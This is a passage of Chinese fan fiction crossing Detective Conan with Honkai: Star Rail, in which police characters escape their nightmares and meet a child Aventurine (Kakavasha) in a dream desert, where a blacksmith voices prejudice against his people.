只有在那里,砂金才能与基石发生共鸣、辐射出涉及范围颇广的梦境。 伯劳要做的任务其一、就是正大光明地拿走机器核心上的基石,然后等待砂金醒来…… 至于是否要将找回的基石还给砂金……砂金没有直言,伯劳安静地也就没有追问,他还抱着砂金最后会愿意留下的期望。 临走前,伯劳没忍住又回首看了一眼横七竖八地倒在地上的众人,心下也有些恍惚,这些人是死是活、他并不在意,他只是在想, 砂金还能醒来吗? 伯劳有一点……后悔了,他是不是不该背叛砂金? 第153章 伯劳的大脑构造很简单, 不想砂金走、所以帮那些人偷走了基石,不想砂金失望、所以又为砂金拿回了基石……而这次,是伯劳第一次思考起更多的东西。 如果基石不丢,砂金就不会上了那些邪/教众的套, 如果没有上套, 砂金就不必冒险睡去, 如果不睡着就不会有醒不来的危险…… 但是,伯劳紧了紧握着匕首的手,不带走基石、砂金就会回家了…… 伯劳感觉自己的脑子里乱乱的。 —————————— 梦境里, 痛苦的决择还未下定, 伊达航仍立足在美梦与噩梦的交界线上, 他无法给任何一处的娜塔莉一个交代。 “娜塔莉……”伊达航知道自己很过分,但他做不出选择,隐隐地有个声音在警告着他、他不能迈出任何一步,他必须冷静。 伊达航仍旧被锢在了原地。 他无法动弹, 所以只剩下了…… “是我的错,”伊达航展开手臂,他向自己的爱人道,“所以……可以给我一个拥抱吗?” 娜塔莉,向他奔来吧。 美梦与噩梦之中的娜塔莉都怔了怔,伊达航深呼吸一口气,“来吧, 我们需要一个拥抱……” 娜塔莉,总是拒绝不了伊达航的那一个。 两道身影在踏出裂缝的那一刻融为一体,娜塔莉的脚步越走越快、最后跑了起来猛得扑向了伊达航的怀里, “Wataru!” “我在,”伊达航拥住了自己的爱人, 温声问道,“还记得我刚刚的样子吗?” 娜塔莉靠在伊达航的怀里,用伊达航的衣领抺着泪,“……什么?” “记住我刚刚的样子,” 伊达航拍拍娜塔莉的后背,“因为我信任我们之间的感情,我相信我提出来,娜塔莉就一定会为我奔来……” “娜塔莉,你也可以再强势一些,”伊达航说,“我多么希望娜塔莉也能对我说,给我一个拥抱吧。” “那你也会……” “当然会,”不需要娜塔莉多言,伊达航给予了肯定,“我会像你奔向我那样……” 不需要伊达航做选择,答案在一开始就已经给出, “向你奔去。” 义无反顾。 …… 咔咔嚓嚓……梦境再次发出了稀碎的破碎声,像是玻璃受到了挤压、发出不堪重负的呻吟…… …… “才不是那样——!” 工藤新一竭尽全力地吼出了声,他大声地对自己的偶像道,“我没有畏惧,没有害怕,没有被吓破胆!” “我或许……的确不是个合格的侦探,是个讨人厌的自大狂,但是、但是你说过的!” 如果可以确实的让你毁灭,为了公众的利益,我很乐意迎接死亡。 “如果可以将罪恶绳之以法,为了公众的利益,我也甘愿迎接死亡!” 从始至终,工藤新一只悔恨他的不成熟连累到了他人,但他从不后悔去追查罪恶,再来一次,他会安排好其他人、保护好小兰,做好一切的准备,然后…… 再次追着那邪恶而上。 “我永远不会放弃成为一名侦探——!” 福尔摩斯的嘴角终于扬起了一丝笑意,手杖抬起、末端轻点了工藤新一的额头,“终于有点聪明人的样子了,那就……” 杂乱的记忆一瞬间涌入了大脑,工藤新一被那轻轻一敲、敲得陷入了混乱,只听到最后一声…… “继续努力吧,见习侦探。” …… 灼热的空气从更深处的空隙中漫延开来, …… “混蛋,你给我、” 松田阵平愤怒地打破了梦境中的屏障,跃进了萩原研二的噩梦之中,扬起的拳头狠狠地挥向那张和自己一模一样的脸,吼了回去, “滚开啊——!” 眼见着面前的身影倒地,一脸的悔惧还未退去、惊愕猛得爬上了脸庞,一时间萩原研二说话都有些结巴,不敢置信地抬头向去,“小、小阵平?!” 小阵平是怎么过来的? ! 那个虚假的“萩原研二”呢? ! “我……不是,他…他没对你做什么吧?!” 萩原研二顾不上去看被松田阵平打倒的虚假人影,马上向松田阵平问道,他不知道另一个“萩原研二”有没有伤害到松田阵平。 “呸,”松田阵平护在狼狈的萩原研二身前,敌视警惕着另一边的虚假之象,沉声道,“我把那混蛋打散了,接下来该轮到这家伙了!” “打……打散了???” 那玩意是能打死的吗? !萩原研二感觉自己好像见了鬼了。 看着萩原研二那两眼失神、傻不拉几的样子,松田阵平有点嫌弃自己的幼驯染了,“你能认出来,我当然也能认出来,” 真正的萩原研二才不会由着他出入各种危险的地方。 “既然是假的,那我打他不是很正常的事?” 虽然是这个道理,但是……萩原研二茫然,这也太正常了吧? “也就你这种心里弯弯绕绕一大堆的家伙怕这个、又怕那个,绕半天把自己绕进去还出不来,”松田阵平活动了下手腕,咧了下嘴笑得肆意,“要我说,” “看不顺眼,那就打散好了!” 萩原研二死了,那他就给萩原研二报仇,萩原研二活着,那他俩就继续一起上班下班,哪有别的什么烦恼? “……噗!”萩原研二忍不住憋出了声笑,“果然是小阵平啊。”这的确是松田阵平会给的答案。 被松田阵平打倒虚假之象没再爬起来,反而慢慢地散开……萩原研二握上松田阵平伸过来的手,站起身, “那我,”萩原研二道,“可不能给小阵平拖后腿啊。” …… 黄沙吹了进来, …… 我……怎么好独活? 黑影的质问令诸伏景光失神,唇齿颤抖着张张合合,终于还是发出了细碎的字节发音…… “你说什么?” 嚣张的黑影逼近,似乎想要听清诸伏景光又有什么可怜的话要说个明白,然后再给诸伏景光一个致命地打击、好让诸伏景光认命地乖乖去死。 “我……啊…说………” 诸伏景光的声音太小了,黑影只能不断逼近、逼近、再逼近,“想好该如何求饶了吗?” 然而,突故就在这时发生, 被血色触手抓住的胳膊猛得挣开了束缚,诸伏景光用力抓住了身前的黑影,与黑影接触的手心中传来灼烧的剧痛…… “我……告诉你,为什么我仍在独活……”冷汗自额间滑落,诸伏景光却反常露出了一个释然的笑容,“因为…爸爸妈妈他们……希望我能活下去啊!” 当初是妈妈将他藏进的柜橱里,死前、妈妈都紧紧地靠着柜子不让他出来,爸爸死时都不曾从他这边看上哪怕一眼…… 他们为了能让他活下去,拼尽了全力……诸伏景光他怎么敢一死了之? 诸伏景光在往血泊里沉去,带着被他抓紧的、扭曲挣扎的黑影一起沉去,尖叫在耳朵里回荡刺痛着神经,但诸伏景光仍未松手, 他不会放过他的, “这次……我,抓住你了。” …… 刺目的阳光穿透了漫天的阴影, …… 盛着波本的酒杯突然从手中脱落,玻璃杯在地板上摔了个粉碎,酒水四溅。 波本轻笑着歪了下头,“没拿稳吗?我再给你倒一杯……” “不用了,”降谷零退后了一步,“你的话术不错,不过就不用再用到我身上了吧。” 说得到是好听,休息一下? 休息多久算是“一下”?降谷零不会去赌任何一点可能,他必须使终冷静自持、不松懈分毫。 “你真无趣,”波本啧了一声,“这么活着就不累吗?” “累啊,”降谷零不否认这一点,只是……眼神暗了暗,“我觉得、逃避解决不了问题,既然选择这一条路,任何后果我都应该去承担。” “好吧好吧,”波本冲降谷零最后举了举杯,不再多废口舌进行挽留, “再见,希望你日后不会后悔。” …… 摇摇欲坠的梦境终于、彻底碎裂, 脚下突然间的坠落感袭来,天旋地转,只见黄沙漫天、烈日当空……接连几声重物坠落的声过后,从天而降的众人狠狠地摔在一望无际的沙漠上。 “啊——!” 受惊之下、短小促急的惊呼声息第一时间吸引了众人的注意力。 不知道是摔得、还是短时间内拿回全部记忆的负面影响,头晕眼花的伊达航勉强撑着地,抬头望去,却见到一名不大的孩子跌坐在地上, “别害怕,我们不是坏……”下意识安抚的话吐了一半,在看清那孩子的脸庞之时,伊达航的瞳孔剧震、猛得转了个话音, “砂金——?!” 第154章 那双标志性的三重色异瞳,这不是砂金还能是谁? 不只是伊达航,其他看见了那个小孩子的几人都如此认为, 被好几道视线聚焦着的小孩子好像被吓到了似的,曲着腿、屁股蹭着沙地往后躲了躲,小声呜咽地问着:“……你、你们是谁?” “这是小时候的砂金?” 众人之中,松田阵平是恢复最快、状态最好的那一个,见了面前的小孩好奇地凑近观察, 实在没忍住,松田阵平伸手戳了下小孩脏兮兮的小脸,皱起了眉, “怎么都没有多少肉啊?” 这孩子好瘦。 不料松田阵平这话一下戳到了不得了的地方, 异色的漂亮眼睛里飞快的蓄上了水光, 松田阵平手僵住了、脸色剧变,“等、等等, 我不是……” “呜哇!不要吃我, ”小孩子哇一声哭了,“我没有肉,不好吃……可不可以不要吃我呜……” 松田阵平:“我没有……” 天啊!把小孩子逗哭了的松田阵平在之前的梦境里都没有这么惊恐,在内心疯狂呼叫幼驯染, hagi!快来救场! ! ! 仿佛听到了松田阵平的求救信号,刚起身的萩原研二掀开压在他身上的降谷零,连滚带爬地凑过去, “怎、怎么了?!” “怎么哭了啊,让研二哥哥看看怎么回事,”说罢,脑子还不太清醒的萩原研二靠近就是亲亲抱抱举高高一条龙,丝滑流畅的不仅松田阵平没反应过来, 连假哭示弱中的卡卡瓦夏也没反应过来,一口气憋到了嗓子眼里。 在众目睽睽之下,被萩原研二高高举起的小孩子愣了下、张囗就是…… “嗝!” 现场安静了一瞬间, “不是……嗝!”抹着眼泪的卡卡瓦夏这下是真急了,“放我下嗝!去……我嗝!” 嗝一打起来,一时半会就停不下来了,卡卡瓦夏放弃了嗑嗑巴巴地说话、用手捂着嘴努力憋着,但还是一抖一抖个不停, 再想到面前这个孩子,很可能就是那个嚣张地到处开屏的砂金……画面莫名其妙地有点滑稽好笑。 卡卡瓦夏:QAQ “……噗,”松田阵平咬咬牙忍了笑意,好亏是没继续哭了,hagi、厉害了! 萩原研二:“呃……” 他真不是故意的,单身多年、也是个新手家长的萩原研二有几分窘迫,电视里不都是这么哄小孩子的吗? 哄人开心和哄小孩子开心,还真不是同一个水平的难度。 “好了、萩原,交给我吧。” 刚刚苏醒的诸伏景光眼底还透着几分血丝与疲惫之色,但从无措的萩原研二那里抱过小孩子的手法却依旧很温柔, 诸伏景光一手托着小孩子大腿、让对方坐稳在自己的胳膊上,方便小孩子趴在自己的肩头,另一手轻轻拍着不停打着嗝儿的孩子后背,慢慢顺着气、轻哄着。 留着稀碎胡茬的脸有点刺人,但这丁点疼痛不至于让卡卡瓦夏受不住,异色的眸子转了转、扫了一眼诸伏景光近来眼前的脖颈…… 下一秒,察觉到另一道突然变得锐利的视线,卡卡瓦夏顿时又抖了抖,咬着唇、泪眼汪汪地看回去,喉咙里呜咽了两声, 像极了受惊的可怜巴巴的小动物。 和那个孩子对视了几秒钟的降谷零皱眉,他没看出来什么明显的异常……难道是他刚脱离自己的梦境、有些过分紧张了? 想着,降谷零顺腿又踹了两脚还在地上躺尸的某人,打算听听这家伙的想法。 某·赤井秀一·人:…… 赤井秀一从上一重梦境脱离时,还在和自己那虚假的老爸老妈拳拳到肉、激情互殴,精神其实也不太好。 “这……这里又是哪里?!” 恍恍惚惚的又是一声疑问,之前都不在状态的众人们这才发现,原来在场的不止有那一名疑似幼年版砂金的未成年, 顶着一头加一身黄沙的工藤新一狼狈地从沙坑里爬出,脸上写满了茫然…… 他……不是被神秘的黑袍人绑架了吗?工藤新一捂了捂刺痛的脑袋,适应着复苏的记忆,为什么他会误以为小兰出了事,而且还见到了福尔摩斯? ! 工藤新一迷茫,“我为什么……会在沙漠里?” 好问题,众人沉默,没记错的话……那天砂金是只给了他们六枚筹码啊,怎么还多了一个人进来? 赤井秀一回神,“……意外?” “可能?”降谷零的注意力从卡卡瓦夏身上移到了赤井秀一身上。 “不会又是假的吧?”见过梦境假象的松田阵平摸了摸下巴,同时退后了几步、远离抽泣的小孩和正在哄小孩的同期。 帮了倒忙的萩原研二左看右看,决定跟着幼驯染、离诸伏景光他们远一点,同时附和着,“那再打他一拳?” 还没弄清情况的工藤新一:“啊?” 打谁? 他吗? 工藤新一沉默不解,怎么一上来就要打他啊? ! “行了,”伊达航还是靠谱的那一个,“别逗人小孩了,我来说明吧。” 按了按太阳穴、伊达航顺手把人捞起来、带到回避着卡卡瓦夏的另一边,虽然不知道为什么工藤新一也会出现在这里,但基本的情况还是要告诉对方的, 到了这里……或者说是被允许进入到这里的人,都算是一条船上、值得信任的伙伴。 “工藤同学,现在是这样的……” 伊达航认识工藤新一,之前工藤新一帮搜查一科破过不少案子,听到伊达航这么称呼自己、再加上视野的变化,工藤新一这才发现自己又变回了“工藤新一”, 紧接着,伊达航口中的一大串信息差点又把工藤新一砸懵了。 “你是说……”工藤新一不敢置信的重复道,“这里是……呃,砂金先生的梦境,之前我经历的那些也只是一个梦?” “嗯,你可能是在表层梦境破碎的时候,意外跟随我们一起掉进来的,”伊达航说道。 跟据达成共识后、砂金后来的详细所言,一般情况下,梦境破碎……人也就该在现实里醒来了,不过为了唤醒砂金,拥有筹码的他们会被砂金的潜意识所认可, 从自我的梦中掉到更深一层的梦境中,也就是——属于砂金这位所有梦境的主导者的梦里。 所以众人才会对工藤新一这位本不该出现的人的出现,而感到诧异。 “不过不用担心,”伊达航看了眼远处还在诸伏景光怀里的孩子,对工藤新一道,“砂金有告诉我们主动脱离这里的办法,那就是死亡,” “如果你对自己下不去手,我也可以帮忙。” 帮他什么?工藤新一在黄沙中凌乱, 帮他“自杀”吗? ! 第155章 “我想应该不用了……” 了解完情况的工藤新一婉拒了伊达航的“帮忙” , “多一个人多一份力量嘛,我想着、说不定我也能帮上点什么忙。” 听罢,伊达航点了点头, 没有多做强求…… 反正, “死”了也没关系哈。 这边伊达航和工藤新一聊完了,那边诸伏景光拍着、小孩子憋到的那口气也终于顺过来了,但诸伏景光依旧抱着对方没放下来。 “呐, 现在要做的就是把人叫醒了吧, ”松田阵平打量了一下荒凉的四周,“那现在, 这里是美梦还是噩梦?” 一个小孩子孤零零地出现在一片沙漠之中, 一般人恐怕都会以为这里是“噩梦”的吧? 但现场可没有一般人物。 “不好说, ”降谷零也走近,“先问问情况。” 梦境千变万化,事先砂金也不能肯定他们会看见些什么,如何使用“筹码”更是办没法细说,这只能由众人自己一点一点摸索了。 而问情况……自然是问唯一那个还不知道这里是梦境中的人了。 “小砂金?”降谷零向好友怀里的小朋友笑了笑,“我们不是坏人,只是不小心迷路了……你可以告诉我们这是哪里吗?” “我…这、这里是茨冈尼亚无人区……” 小孩子的声音很小,所有人都安静了下来、降谷零才听清对方说了什么, 不过, 茨冈尼亚? 那是哪儿? 每个人脑袋上都是个大大的问号, 地球上有这个地名吗? 他就说砂金是外星人吧,赤井秀一摸了下空空荡荡的口袋,很遗憾烟没有跟着他一起过来。 “大哥哥……”似乎是见几人没恶意, 小孩子胆子也渐渐放大了些,怯懦的目光下流露出了丝好奇, “你们是从天上来的、帮我们的……嗯,白、黑、蓝、灰…衣人吗?” 几人低头看了看自己的衣服,不知道这孩子形容的算不算太“贴切”了。 “是的,当然是啦!”萩原研二趁热打铁、想要挽回自己在小砂金心里的形象。 “那小砂金可以告诉我们……”伊达航也放轻了声音问道,“你们遇到了什么麻烦吗?” “这个、这个……”小孩子抓着诸伏景光的衣领犹豫了一下,诸伏景光没说话、只是鼓励性地又拍了拍对方的背部, 隔着衣服,诸伏景光都仿佛能摸到背后瘦到突起的脊骨,小孩子过得并不算好。 “我……” 小孩子刚提起来点的声音又弱了下去,“我不叫砂金,也不认识叫砂金的人,你们也、也会帮我们吗?” …… 不是砂金? …… “认错人了吗?” 工藤新一小声问着,不是没有这种可能性,毕竟他们到了这地方后也只见到对方这一个孩子而已,会不会是他们还没有见到砂金? 从来没听说过的地名都出现了,也许这个地方的三重眼也很常见呢? 萩原研二轻轻摇了下头,背在身后的手比划了一下、示意等会儿再聊。 “那小朋友愿意和我们交换一下姓名吗?” “嗯,我叫……卡卡瓦夏!”小孩子很喜欢自己的名字,声音忍不住地上扬了一下,“是母神赐福之子的意思哦!” …… “我和小阵平听砂金说过,”背开人家小孩,萩原研二说着,“他还有一个据他所言不怎么常用的名字,应该就是卡卡瓦夏吧。” 心细的萩原研二总是会记得很多小细节,比如当初第一次和砂金交换姓名时的对话。 工藤新一不解:“你们为什么肯定他就是砂金先生?” “不是也没关系,”降谷零道,“那双眼睛……就算他不是砂金,也一定和砂金脱不了联系,先跟着他看看。” 夹着飞沙的风声淹沉了几人的窃窃私语,跟在前面的另外几人却吃了一嘴的沙子。 “松田哥哥!它往你那边去了!” 交换过姓名,答应帮卡卡瓦夏的忙一事肯定也不会反悔,松田阵平呸呸了两声嘴巴里的脏东西,撸了撸上身脱得下衬衣的两只袖子,“看我的!” 说罢,松田阵平一个猛子往一处不断拱起的沙堆里扎去,顿时又扬起了更大的沙尘。 被不知道是什么的奇怪植物缠住脚、吊了起来的赤井秀一倒吊着缓缓晃了过来,被诸伏景光守着的卡卡瓦夏安慰道,“赤井哥哥,你再忍一会哦,马上就好了!” 赤井秀一抓着脑袋上的针织帽,和荡秋千似的,缓缓地又晃了回去…… “我抓住了!” 松田阵平从沙土堆里窜了出来,举起的胳膊上高高举着一只扬着刀片状尾钩、形似蝎子的奇怪生物,一边早等着的伊达航手急眼快,猛得上手帮着松田阵平一起截断了尾钩,随后抛向赤井秀一。 “赤井哥哥!”卡卡瓦夏连忙把几个豁了口的罐子拉出来,叫道,“我们准备好啦!” 抬手捞住尾钩,赤井秀一不再随意让藤蔓吊着他乱晃,腰腹收力、翻身而起,用钩子刷一下割断了脚腕上的藤蔓,接着抓住断口、顺着植株的茎体滑落在地。 早早等着的卡卡瓦夏和诸伏景光,一人抱着个罐子接住了从断口处缓缓流淌而出的汁水。 而汁水并没有淌太久,蝎尾上的毒素退去、原本无力的藤蔓猛然间挣脱了赤井秀一的控制,缩回了沙子里。 赤井秀一空下来,用手轻沾了点那透明的液体、放在鼻尖闻了闻,除了有种浓重的鲜草气味外,触感和普通的饮用水没什么区别, 这就是小卡卡瓦夏一个人来到这一片无人区的目标——沙漠中的水,最为宝贵。 这也是降谷零几人答应卡卡瓦夏帮的第一个忙。 不过卡卡瓦夏的收获也不算小, 看着将近盛满了两个罐子的卡卡瓦夏脸上是显而易见的欣喜,眼睛都变得亮晶晶的,“谢谢赤井哥哥!” 松田阵平装作不满,“光谢他吗?” “也谢谢松田哥哥!松田哥哥刚刚那一下……”卡卡瓦夏模仿松田阵平的动作、挥拳蹦了一下,“一下子一就抓住它了,真的超级超级帅气的!” 松田阵平被哄得嘴角忍不住上扬,“那当然了,我可是松田阵平!” 这下引得过来帮着灰头土脸的幼驯染拍沙子擦汗的萩原研二隐隐发笑,卡卡瓦夏怪像他小时候的,小阵平也和小时候一样耳根子软、贼好哄。 “也谢谢诸伏哥哥,还有伊达哥哥!还有还有……” 卡卡瓦夏没有厚此薄彼,情绪价值给的满满的,嘴巴上跟抹了蜜似的,把每个人都挨个夸了一遍,连没帮上忙的工藤新一几人都没漏掉。 “谢谢大哥哥们!要是我一个人来,肯定弄不到这么多的水!” 卡卡瓦夏已经完全丢掉了胆怯,开心得仿佛在冒小花花。 伊达航则揉了揉卡卡瓦夏的脑袋、没有意外的又揉了一手的黄沙,连赤井秀一都忍不住摘下针织帽抖了下,抖出不少尘埃。 这里的环境,实在是太恶劣了,除了沙子和仿佛要把人吹干的风,就好像什么都没有了,热气蒸得几人都感到了些不适。 “卡卡瓦夏经常一个人来这里……取水吗?”诸伏景光问着,看他们前面忙活了这么久、才续满两罐的战利品,心下有些不适, 这种“任务”对卡卡瓦夏一个小孩子来说太危险了,不管是抓那个蝎子、还是把藤蔓从沙子底下引出来。 早已经适应气温的卡卡瓦夏行动如常,只是又从身上掏出了几个小水袋,在罐子里装满了水后塞到了一直近身照顾着他的诸伏景光怀里,“这是给大哥哥你们!缺水了可以喝一点,很解渴的!” 说完,卡卡瓦夏才回答起诸伏景光的问题,“也不算是经常吧,我偶尔才会到这边碰碰运气。” 卡卡瓦夏很宝贝自己的那俩罐水,工藤新一想帮忙抱一下、卡卡瓦夏都舍不得松手,怕引起卡卡瓦夏的反应,工藤新一只得作罢。 “好了,卡卡瓦夏是个乖孩子,”卡卡瓦夏颠了颠背上的包,水罐的重量带得人差点没站稳、晃晃悠悠的像个笨拙的企鹅、又像是只不倒翁, 但卡卡瓦夏依旧兴致勃勃,“大哥哥们帮我取水,我这就带大哥哥们去聚集地!” 是“乖孩子”的砂金啊,松田阵平咂舌,现在的卡卡瓦夏有多乖巧,他就有多费解…… 砂金小时候竟然有这么可爱的吗? ! 当然,众人对卡卡瓦夏口中的那个聚集地的兴趣也很大, 等到那里……众人不约而同地想,应该就会遇见更多的人了吧? 说不定能有更多的收获。 第156章 “大哥哥们看!前面就是这块最近最大最热闹的聚集区了!” 跟着卡卡瓦夏徒步在沙漠走了大半天的众人,终于在天黑之前赶到了可以休息的地方。 顺着卡卡瓦夏手指的方向看去,众人在夜幕下的扭曲空气中,看见了高高低低的建筑群。 见到“曙光”的工藤新一没什么形象地往地上一坐,喘着粗气、汗如雨下,其他人没比工藤新一得体到哪里去,但得益于平时的训练、状态都比工藤新一好上不少。 这不怪众人太弱,而是这里的气候太古怪了。 “呼……”工藤新一累得说话都得咬牙切齿, “这不…科学……怎么天都快、快黑了,气温还没降……” 正常而言,沙漠的气温昼夜温差很大, 夜晚突破零下都是正常现象, 但这种现象、在这个星球上却并不适用, 白天黑夜都一样炎热。 萩原研二扶着水袋给工藤新一喂了点水,清爽的鲜草气息给工藤新一续了半条命,好在他们几个帮了卡卡瓦夏,不然光靠他们几个走出这片陌生的沙漠就是个巨大的挑战了。 卡卡瓦夏也没一开始那么生龙活虎了,不过对比伊达航这些“外地人”,还是更有精神一些。 “大哥哥们再努力一下!”卡卡瓦夏给众人打气道,“马上就到了,镇子上有旅馆,没有钱…喝剩下的水也很值钱哦,你们可以换很多很多的东西……” 体力最好的赤井秀一和降谷零一边一条胳膊, 把工藤新一架了起来,工藤新一无奈、但力不从心,“麻烦诸位了……” 赤井秀一和降谷零齐声道:“没事。” 降谷零&赤井秀一:…… 算了, 两人对视一眼、又双双移开视线,两个人也没多少余力拌嘴了。 总感觉, 调查也得等到第二天才能进行了…… 然而,等所有人终于进了镇子里时,意料之外的变故还是发生了。 …… “卡卡瓦夏不见了。” …… 分明应该是休息的时间,几个外来人却不懂规矩似的在镇子的各条小道上不断的来回穿棱、寻找着什么。 伊达航脸色很不好看,进了镇上后,卡卡瓦夏说要带他们找地方休息,一双小短腿跑得飞快,感觉到不对劲的几人只能分成两伙, 一伙留在原地照看体力实在不支、跟不上大部队的工藤新一,一伙努力去追不知道为什么有些异常反应的卡卡瓦夏。 但他们几个在地型房屋复杂、天色越来越晚的陌生小镇子里,怎么跑得赢卡卡瓦夏那个小鬼? 七拐八弯,伊达航几人没有意外地把人跟丢了——一个空荡荡的死胡同里,没了那个小不点的身影。 “抱歉……”工藤新一有些愧疚,没帮上什么忙,反而成了累赘的感觉并不好受。 “你道什么歉?”松田阵平火气蹭蹭得往上窜,“那臭小鬼分明就是故意的!没有你,他也会想办法甩开我们……” “我早该想到的,混蛋小时候也是个混蛋!” 亏他还觉得卡卡瓦夏可爱! 萩原研二开始顺毛,“好了好了,我想……他应该是躲到镇子外面去了。” 从卡卡瓦夏一开始就不让任何人帮忙拎罐子那点就能看出来,那装乖的小鬼估计早就想着把他们领到聚集区后就再逃跑了, 那想躲他们,对方也肯定不会继续留在此处。 “这里不是他的落脚点,” 再笨的人现在都该反应过来了,更何况他们中也没有傻子,降谷零缓了缓因运动过量而疯狂跳动的心脏,道, “他不信任我们。” 胆怯也好,乖巧也罢,都是装出来给他们看,用来降低他们警惕心的把戏——他们到底还是低估了砂金的梦境,这才进来不久,就吃了个瘪。 现在回想起来,卡卡瓦夏的确没说过要带他们回自己住的地方,只是说了“聚集区”这种模棱两可的词。 那小鬼……精得很。 认错人? 不可能的! 哈,除了砂金那个混蛋,谁小时候能这么鬼精鬼精的! “那在周围再找一会儿吧。”伊达航说着。 “大家注意,不要走的太远……”诸伏景光叮嘱道,“天黑了就回这里集合,不要落单行动。” “实在找不到……就等天亮再打听打听。” 夜晚对他们这些外来人而言并不安全,虽然在梦里不会真的死去、但他们也怕……怕万一就缺自己一个,筹码就不够叫醒砂金了怎么办? 众人沉默, 现在……也只能先这样了。 …… 另一边,顶着月色、已经踏上回家之路的卡卡瓦夏脸上依旧笑容满面,而大大的沉重背包里,少了一罐水、却又多了三斤驼肉——这是卡卡瓦夏找人换来的食物。 卡卡瓦夏又赌赢了。 刚被那几位砸到他眼跟前人发现的时候,卡卡瓦夏脑袋里想得只是怎么逃跑, 被诸伏景光抱在怀里、发现这些人似乎对他没有恶意,连脖子那种要命的位置都敢放在他这个埃维金人的面前时,一向胆大的卡卡瓦夏又想到了更多…… 很明显,这些人是“天外来客”,他们甚至不认识埃维金人的标志性眼睛,所以……他们有成为“朋友”的可能。 朋友是埃维金人的“武器”,卡卡瓦夏向来很擅长贯通这一真理,于是卡卡瓦夏也得到了更多…… 卡卡瓦夏有一点倒是没说错, 没有赤井秀一他们的帮忙,卡卡瓦夏他一个人最多只能弄来半罐子的水,再匀一些出去换食物……也只能换个小孩子巴掌大小的肉块,再最多只够营地里的族人们每人尝丁点肉味的。 而现在……伊达航他们越想是越气,卡卡瓦夏是越想越开心,要不是背上的东西太重了、实在是蹦不起来,卡卡瓦夏乐得能边走边蹦哒, 现在的肉够每个人尝一大口的了,说不定还能吃上好久没吃的肉汤! 今天,真是大丰收! 所以卡卡瓦夏很感谢那几位天上来的大哥哥,埃维金人从不亏待朋友,所以卡卡瓦夏把他们安全地带到了附近的聚集区。 但再多的…… 卡卡瓦夏不会再去做。 带那些人回到族人们扎营的地方……对于四处逃难的埃维金人们来说,实在是太过危险,卡卡瓦夏愿意拿自己冒险、但不能别人来为他承担任何的风险,因此卡卡瓦夏偷偷跑掉了。 嗯,好吧……卡卡瓦夏把陷进沙子里的腿拔出来,他承认那些大哥哥应该都是好人,对他也很好,一路上都很护着他, 但他们这不是不知道埃维金人嘛? 说不定被他骗了这一次、就知道埃维金人都是多么狡诈的家伙了,卡卡瓦夏背着东西继续走着、满不在乎地想道,反正…… …… 大人们在镇子附近东翻西找, 小小的影子在沙漠上一深一浅的慢慢走着。 …… 他们之后不会再有交际了。 第157章 昨夜最后的努力依旧一无所有,工藤新一该感谢这边沙漠的气候异常了,不然半夜说不定还能冻伤——是的,众人甚至顾不得去找卡卡瓦夏口中的旅馆, 直接在路边抱团应付了一夜。 “这样不行, ”伊达航望着泛出朦胧天光的天空, “继续下去,我们会被拖垮。” 众人没有异议,再这样下头……没死在自己的梦境,倒要先折在这里了。 “那我和这位伊达警官,还有工藤同学再去附近看看能不能找到些别的线索……”赤井秀一摸着下巴、提议道, 白天了, 能往外搜查的范围就更广了。 “那我和降谷去换物资, ”萩原研二颠了颠剩下的水袋,匀出了几份分给其他人,剩下的准备去找人换点别的东西, 这个梦境太过真实,会渴会饥,不换点物资真得会像班长说得那样被恶劣的环境拖垮。 “小阵平,你和诸伏……” “我们在镇子里继续找人打听消息好了,”接过水袋,松田阵平应了一声,天亮后不少居民开始外出了, 比昨晚根本就碰不见人的情况要好了很多。 临分别,诸伏景光拍了拍唯一没有筹码、没有生存压力的工藤新一,关心道:“别勉强自己, 不行就死。” “……”工藤新一抽了抽嘴角,“我尽量。” …… “先生, 打扰了……” 说干就干,兵分三路、没有人空闲下来,诸伏景光来到一家形似铁匠铺的店门前,能在这里开店,那对方至少也是个长住民了。 “小的八个子,大的二十个,你要哪……” “不,我是想打听一下……” “去去去,”胡子拉碴的大汉不耐烦地摆了摆手,“不买东西就别耽误我做生意!” “拿这个交换怎么样?”松田阵平打开水袋在铁匠的面前晃了晃, 扑面的鲜草气息顿时让铁匠态度一变……变得更加热情献媚,“是沙藤的汁液吗,哦…这个气味,还是很新鲜的汁液……” 松田阵平猛得收回手,刚想再仔细闻闻却捞了个空的铁匠讪讪笑了下,“那个,两位大人想问些什么?” “我一定配合——!” 态度变得太快了,松田阵平握着手里的水袋和诸伏景光换了个眼神,对卡卡瓦夏口中“可以换很多很多的东西”一言有了些概念——这玩意儿,恐怕比他们想象的要值钱的多。 “你有见过大概这么高……”诸伏景光用手比划了一下高度,“七、八岁左右,金色短发、身上脏兮兮的小男孩吗?对了,” 蓝色的猫眼和铁匠那双普普通通的单色眸子对视,诸伏景光又道,“他的眼睛很特别,是环状的异瞳……” 只见刚刚还苦思冥想的铁匠瞬间眼前一亮,“我知道了!是那个小混蛋、狗崽子!” 同样的用词,松田阵平几人嘴巴里的“混蛋”和面前这个铁匠的“混蛋”明显不是同一个意思,听着那狠狠的贬低语气、松田阵平瞬间皱紧了眉头, 诸伏景光还挂着不动声色的温和表情,“所以你知道他?” “两位大人……”铁匠打量了一下两人身上款式少见的衣服,“你们是从天外来的吧?” 天外? 短短一个词,落在松田阵平和诸伏景光两个聪明人的耳朵,信息量大的简直要爆炸了, 难怪卡卡瓦夏看见从天而降的他们没有再多问什么,他们还以为是梦境模糊了他们的异常之处,结果这么看来……这么个恶劣的背景中还真有“天外之人”的存在? 诸伏景光没打断铁匠,忍耐着听着对方继续说着。 “所以啊,你们不知道我们这的……嗯,那个词怎么说来着,文化风俗?反正是个文巴巴的词,”铁匠想半天想不起来那话该怎么说,干脆跳过到了下文, “那种颜色的眼睛是怪漂亮的,但可不吉利啊!” 眉头越皱越深,松田阵平深觉得不对劲,一向把自己有多好运挂在嘴边上了的砂金……那家伙的眼睛却是“不吉利”的象征? 这其中明显有问题。 很快铁匠就说出了原因,“那是埃维金人的标志,他们那一族眼睛都长那样,都是些死不绝的婊子、骗子、手脚不干净的小偷……遇上他们了指定要倒霉,可不就是不吉利嘛!” “听你这么讲,”松田阵平捏着拳头,语气有些冲,“你被他们骗过?” 但凡换个场合和情况,说不准松田阵平拳头已经砸到铁匠脸上了。 “可不是,”铁匠没看出来气氛的不对,依旧咧个着大嘴巴不停地说道,“就那个……大人说的那个小鬼,怎么打都打不服,我这铺子丢过的钱、肯定就是他偷的!” “证据呢?”虽然能看出来卡卡瓦夏的生活很贫苦,但诸伏景光不觉得卡卡瓦夏是会无缘无故偷东西的人。 “什么证据?”铁匠抓了抓头巾,“那小鬼可是埃维金人啊,” “不是他偷的还能是谁?” …… 